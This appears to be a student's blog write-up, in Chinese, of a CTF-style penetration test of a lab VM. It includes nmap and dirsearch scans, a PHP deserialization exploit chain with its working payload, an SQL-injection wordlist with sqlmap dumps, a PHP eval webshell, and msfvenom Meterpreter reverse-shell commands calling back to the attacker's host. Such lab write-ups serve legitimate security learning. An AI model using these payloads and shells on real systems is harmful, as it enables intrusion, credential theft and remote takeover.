SRE-渗透测试考核

任务描述

学长们对上次黑我们服务器的黑客进行了反击,获取了目标服务器的镜像 ,看看你们能不能
成功攻击这个服务器
本次考核主要是考察CTF内容和简单渗透知识,需要同学们通过靶机暴露的信息找到漏
洞,并最后得到目标靶机的root权限,并找到root下的flag。

1.信息收集

确定靶机的ip地址

靶机下载好后,在vm成功打开,它就自己给了我们ip地址,因此不需要向之前那样去对比确认靶机的ip地址

这里我们得知靶机的ip是 192.168.110.172(跟虚拟机的网段不一样,可能是因为用桥接模式吧)

靶机端口扫描

这里我是跟着之前一个渗透测试作业的步骤来的,先用nmap进行全端口扫描

1
sudo nmap --min-rate 10000 -p- 192.168.110.172

再分别对靶机进行SYN端口扫描

1
sudo nmap -sS -p- 192.168.110.172

然后进行TCP端口扫描

1
sudo nmap -sT -p- 192.168.110.172

再进行UDP端口扫描(时间有点长、可能因为是-p- 全端口吧)

1
sudo nmap -sU -p- 192.168.110.172

扫描太慢了,还是指定扫描刚才开放的端口吧(看之前作业的b站参考视频也是这样做的)

1
sudo nmap -sU -p22,25,80,110,5355 192.168.110.172

这次扫描就很快,但是不确定这些端口是否开放。

接着就是查看服务版本和操作系统

1
sudo nmap -sV -O -p22,25,80,110,5355 192.168.110.172

感觉有点奇怪,25号端口之前是smtp;110之前是pop3现在都是是tcpwrapped,5355是llmnr为什么还加个?是不确认吗?再扫描了一遍还是一样的结果。

查了一下,感觉等一下渗透可以从这些方面试试看。

之后进行关键的漏洞扫描

1
sudo nmap --script=vuln -p22,25,80,110,5355 192.168.110.172

有点多,不过越多越好哈哈哈哈哈,其实也不是很多。中间那个内容看不是很懂,拿去翻译一下比较容易理解。

目录扫描

感觉相比御剑,dirsearch好像好用一点。

1
dirsearch -u http://192.168.110.172

就3个能访问的,依次打开看看。

/flag.php 不知道为什么啥都没有

再试试/index.php

一看就是非常有用的线索,先保存起来。

再试试/index.php/login/

还是跟刚才一样的界面。

尝试发现漏洞和渗透

index.php文件尝试

看了一下大致的内容,好像和ctf中反序列化的题目一点相似,于是去csdn翻了一下这种类型的题目

https://blog.csdn.net/qq_35493457/article/details/119735063?spm=1001.2014.3001.5506

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
<?php
error_reporting(0);

class web
{
public $b1;

public function __invoke()
{
$this->b1->web();
}
public function __wakeup()
{

die("不许反序列化哦");

}

}

class pwn
{
public $r1;

public function __destruct()
{
echo $this->r1 . ' --0xfa';

}


public function execute()
{
($this->r1)();
}

public function __call($a, $b)
{
echo $this->r1->getFlag();
}

}

class misc
{
public $w;

public function __toString()
{
$this->w->execute();
return 'welcome to this game, hope you have a great day';
}


}
class ctf
{
public $c1;

public function execute()
{
($this->c1)();
}

public function getFlag()
{
require 'flag.php';
echo $FLAG;

}

}
if (!empty($_POST['cmd']))
{
unserialize($_POST['cmd']);
}else{
highlight_file(__FILE__);
}

显然这里存在反序列漏洞,一些魔法函数参考,还有这个更加全面的文章

代码中有四个类 web、pwn、misc 和 ctf

web:_wakeup()是在反序列化对象时被调用。,当unserialize的时候,会检查时候存在wakeup()函数,如果存在 的话,会优先调用wakeup()函数。(wakeup()函数漏洞就是与对象的属性个数有关,如果序列化后的字符串中表示属性个数的数字与真实属性个数一致,那么i就调用wakeup()函数,如果该数字大于真实属性个数,就会绕过wakeup()函数。)

​ __invoke() 方法在对象被当成函数调用时被调用。

pwn:__destruct()当删除一个对象或对象操作终止时被调用。

​ execute() 方法在对象被调用时被调用

​ __call() 当对象调用某个方法的时候,若方法存在,则直接调用;若不存在,则会去调用call函数

misc:__toString()打印一个对象的时被调用。如 echo $obj ,或 print $obj;

总体分析:应该用post方式,同时要绕过____wakeup(),然后尝试触发__call()魔法,进而触发getFlag(),看能不能得到flag。(但是感觉不会这么简单,毕竟考核要求中有说到root权限,而这里并没有提权这一操作,也没有说到权限,先试试看吧)

先尝试一下能不能触发”不许反序列化哦”

发现并不行,可能我代码有问题。还是我的HackBar有问题。先去找一道简单的post传参题

一看没问题,那就是我的代码问题了(那个php本身应该是没问题的吧)

后来把代码复制到本地,把代码中的post改成get,再同样用hackbar传参,发现可以(未url编码)。然后又去网址用post但未url编码尝试,也可以,看来是我格式问题哈哈哈哈,白花了那么多时间。

接下来就是尝试读取flag了。自己试了一晚上,还是不行,还是先去看看反序列化的题吧。

尝试一下,整了快一天,还是不行,

关于__wakeup的绕过,看到了这个

没能看到它的php版本,不管了,先试试看。

欸,过了好久还不行。

1
O:3:"web":1:{s:2:"b1";O:3:"pwn":2:{s:2:"r1";O:4:"misc":1:{s:1:"w";O:3:"ctf":1:{s:2:"c1";s:7:"execute";}}s:4:"flag";s:7:"getFlag";}}

干脆先在本地搭一个环境

先不去考虑__wakeup这个魔法函数的绕过,这个放在之后再解决。同时删除那个隐藏报错的代码,方便进行调试,再建一个flag.php文件。

尝试

1
O:3:"pwn":1:{s:2:"r1";s:1:"1";O:3:"ctf":1:{s:2:"c1";O:4:"web":1:{s:2:"b1";O:3:"pwn":1:{s:2:"r1";s:1:"1";}}}}

但没有输出flag,输出“–0xfa”,但后面还是错了。把赋值“1”改成“ctf”,还是出错

去翻了ctf新生杯Easy_pop那道题学长的题解

从头开始看,从getflag()开始,要想触发getflag()得先触发pwn中得__call(),而call()需要调用不存在的方法。也就是说web类中的invoke()中的web()可以触发call()。

同时,要想能够开始,应该以pwn中的destruct()开始(__destruct()是类的析构函数,在对象被销毁时执行该函数,也就是说只要我们实例化了a,在它被销毁的时候(一般在程序结束时),这个函数中的变量就会自动调用)

然后可以通过destruct触发misc的tostring()

1
2
3
4
5
6
7
8
$web = new web() ;
$pwn = new pwn();
$misc = new misc();
$ctf = new ctf();
$pwn->r1 = $misc;
$misc->w = $ctf;
$ctf->c1 = $web;
$web->b1 = $pwn;

destruct()–>tostring()–>execute()–>invoke()–>call()–>getflag()

但是问题是,destruct()跟call()在同一个类中,它们的r1在一开始就赋给了misc,因此call()就 无法触发ctf中的getflag()。

于是再创一个pwn2

1
2
3
4
5
6
7
8
9
10
11
12
13
$web = new web() ;
$pwn = new pwn();
$misc = new misc();
$ctf = new ctf();
$pwn2 = new pwn();

$pwn->r1 = $misc;
$misc->w = $ctf;
$ctf->c1 = $web;
$web->b1 = $pwn2;
$pwn2->r1 = $ctf;

echo serialize($pwn2);
1
cmd=O:3:"pwn":1:{s:2:"r1";O:3:"ctf":1:{s:2:"c1";O:3:"web":1:{s:2:"b1";r:1;}}}

在本地测试成功,虽然会报错,但是还是可以输出flag,但在浏览器上就只输出了报错,并没有其他

显然,payload的构造还是没有完全正确,这里比较难处理的点在于destruct()和call()两个都在pwn类里,而且都是用的r1。且pwn中的destruct()应该是用来带动其他魔法函数的进行的,它执行后输出的字符串可以触发misc类中的tostring(),但同时要想得到flag,需要触发ctf类中的getflag(),而getflag()由pwn类中的call触发。这样看来,需要$pwn->r1=$misc 与$pwn->r1=$ctf,显然是矛盾的,应该需要正确构造两个pwn对象,一个指向ctf,一个向misc。

1
2
3
4
5
6
7
8
9
10
11
12
13
$web = new web() ;
$pwn = new pwn();
$misc = new misc();
$ctf = new ctf();
$pwn2 = new pwn();

$pwn->r1 = $misc;
$misc->w = $ctf;
$ctf->c1 = $web;
$web->b1 = $pwn2;
$pwn2->r1 = $ctf;

echo serialize($pwn);
1
O:3:"pwn":1:{s:2:"r1";O:4:"misc":1:{s:1:"w";O:3:"ctf":1:{s:2:"c1";O:3:"web":1:{s:2:"b1";O:3:"pwn":1:{s:2:"r1";r:3;}}}}}

把pwn2改成serialize($pwn)发现可以了(最先触发pwn中的destruct()方法)

害,光这个就卡了好久。(发现靶机的ip居然会变化,变成了192.168.110.173)

登录界面的尝试

刚才得到的/Redr/oCk/index.php,将其加在域名后面并访问

尝试用bp对其爆破,先爆破用户名为redrock、REDROCK、root、ROOT、user、admin

密码采用网上找的字典 (这边勾选了总是追随重定向)

没能破开

再次扫描目录

1
dirsearch -u http://192.168.110.173//Redr/oCk/ 

访问得到

在这个界面暂时无思路,返回登录界面尝试sql注入,使用burpsuite来拦截请求,之后使用爆破模块来跑SQL的字符字典

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
'-'
' '
'&'
'^'
'*'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
"-"
" "
"&"
"^"
"*"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055

发现了一个和其他响应不同的地方(’ or true–),可以看出密码是用md5加密过的。

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '25d55ad283aa400af464c76d713c07ad'' at line 1登录失败1

还有许多类似这样的报错,但暂时不知道如何利用。

这里的登录界面没回显,考虑盲注

先用bp把post请求粘贴复制到1.txt,再传到虚拟机,采用sqlmap扫描

1
sqlmap -r 1.txt

存在注入漏洞和时间盲注,尝试爆出数据库

1
sqlmap -r 1.txt --dbs 

指定数据库,爆表

1
sqlmap -r 1.txt  -D user --tables 

指定表,爆列

1
sqlmap -r 1.txt  -D user -T user --column 

最后,爆字段

1
sqlmap -r 1.txt  -D user -T user -C "password,username" --dump 

将密码放到md5解密得到

所以得到用户名为admin,密码为123qweasdzxc

成功登录,蚁剑连接

输入正确的账号密码,成功登录,发现一个文件上传功能

随便上传一个jpg图片,出现报错(明明里面就111三个数字,没有木马)

试试png图片,提示让我们上传png文件,可这明明就是png文件

图片查看也没找到

后来想起之前扫到的那个upload路径,访问一下,发现确实存在

接着上传图片马,再用bp改成.php文件,发现直接可以上传

1
<?php @eval($_POST['aaa']);?>

接着用蚁剑连接

发现不能直接读取flag,应该还是要提权到root权限

提权,获得flag

打开蚁剑的虚拟终端,输入

1
whoami

发现当前是www-data权限

好吧有点多此一举,它自己已经告诉我了,我没仔细看。

发现行不通,看看有没有内核漏洞,好像有

1
searchsploit Ubuntu 16.10

但好像在蚁剑虚拟终端并不能运行40762.c文件

又发现一个漏洞

按这个文章的操作进行,但是直接在蚁剑上操作好像不行,连cd CVE-2016-5195文件夹都不行,欸,于是想尝试反弹shell到kali上看行不行

1
2
3
msfconsole

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.183.129 LPORT=4444 -f raw > shell.php
1
2
3
4
5
6
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.183.129
set lport 1234
exploit
1
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.183.129 LPORT=1234 to  -f elf > ruchong.elf

被这个烦到了,怎么搞都不行,重装也不行,后来发现自己真是sb,指令输错了,正确的应该是

1
set lport 1234

加了可执行权限,发现居然不能收到反弹,不知道为什么

算了,再想想办法。欸,还是能力不足。

80端口CVE-2007-6750(没用)

想到之前漏洞扫描扫到了一个CVE-2007-6750漏洞,看能不能利用。

参考文章

发现好像只能造成页面拒绝服务

爆破不出什么

1
nmap --script=brute 192.168.110.173


SRE-渗透测试考核
https://www.supersmallblack.cn/SRE-渗透测试考核.html
作者
Small Black
发布于
2023年2月23日
许可协议